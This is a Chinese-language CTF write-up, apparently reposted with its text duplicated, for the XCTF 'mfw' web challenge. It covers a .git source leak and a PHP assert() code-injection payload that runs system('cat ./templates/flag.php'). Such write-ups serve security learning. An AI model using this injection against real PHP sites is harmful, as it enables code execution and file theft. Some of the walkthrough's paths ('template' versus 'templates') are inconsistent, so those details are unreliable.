攻防世界mfw的详细攻略有哪些?

2026-05-22 06:161阅读0评论SEO问题
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计340个文字,预计阅读时间需要2分钟。

攻防世界mfw的详细攻略有哪些?

使用mfw进入环境,搜集到两个信息。可能存在git泄露,flag可能在flag中。测试后发现确实存在git泄露,我们使用githack工具进一步。简单看了下代码,在templates目录下发现了flag.php,在index.php中发现了关键代码。

mfw

进入到环境搜集到两个信息

可能存在git泄露,flag就在flag中

测试了以下确实存在git泄露那我们使用githack还原

简单看了一下代码在templates目录下发现了flag.php,在index.php中发现关键代码

<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!"); ?>

这里发现一个assert()函数,想到估计是代码执行漏洞,而$page没有任何的控制直接拼接,我们想利用assert()函数执行cat ./templates/flag.php获得flag,那么肯定要破坏原来的assert结构才能,使得我们目标才能达成

assert("strpos('$file', '..') === false") assert("file_exists('$file')")

那么我们构造如下payload

?page=') or system('cat ./templates/flag.php');//

传入后就变成

$file="templates/') or system('cat ./templates/flag.php');//.php"

替换

assert("strpos('template/') or system('cat ./template/flag.php');//.php, '..') === false")

真正运行

strpos('template/') or system('cat ./template/flag.php'); #由于strpos函数报错,因此运行我们构造的语句or后面的语句

查看源码发现flag

攻防世界mfw的详细攻略有哪些?

本文共计340个文字,预计阅读时间需要2分钟。

攻防世界mfw的详细攻略有哪些?

使用mfw进入环境,搜集到两个信息。可能存在git泄露,flag可能在flag中。测试后发现确实存在git泄露,我们使用githack工具进一步。简单看了下代码,在templates目录下发现了flag.php,在index.php中发现了关键代码。

mfw

进入到环境搜集到两个信息

可能存在git泄露,flag就在flag中

测试了以下确实存在git泄露那我们使用githack还原

简单看了一下代码在templates目录下发现了flag.php,在index.php中发现关键代码

<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!"); ?>

这里发现一个assert()函数,想到估计是代码执行漏洞,而$page没有任何的控制直接拼接,我们想利用assert()函数执行cat ./templates/flag.php获得flag,那么肯定要破坏原来的assert结构才能,使得我们目标才能达成

assert("strpos('$file', '..') === false") assert("file_exists('$file')")

那么我们构造如下payload

?page=') or system('cat ./templates/flag.php');//

传入后就变成

$file="templates/') or system('cat ./templates/flag.php');//.php"

替换

assert("strpos('template/') or system('cat ./template/flag.php');//.php, '..') === false")

真正运行

strpos('template/') or system('cat ./template/flag.php'); #由于strpos函数报错,因此运行我们构造的语句or后面的语句

查看源码发现flag

攻防世界mfw的详细攻略有哪些?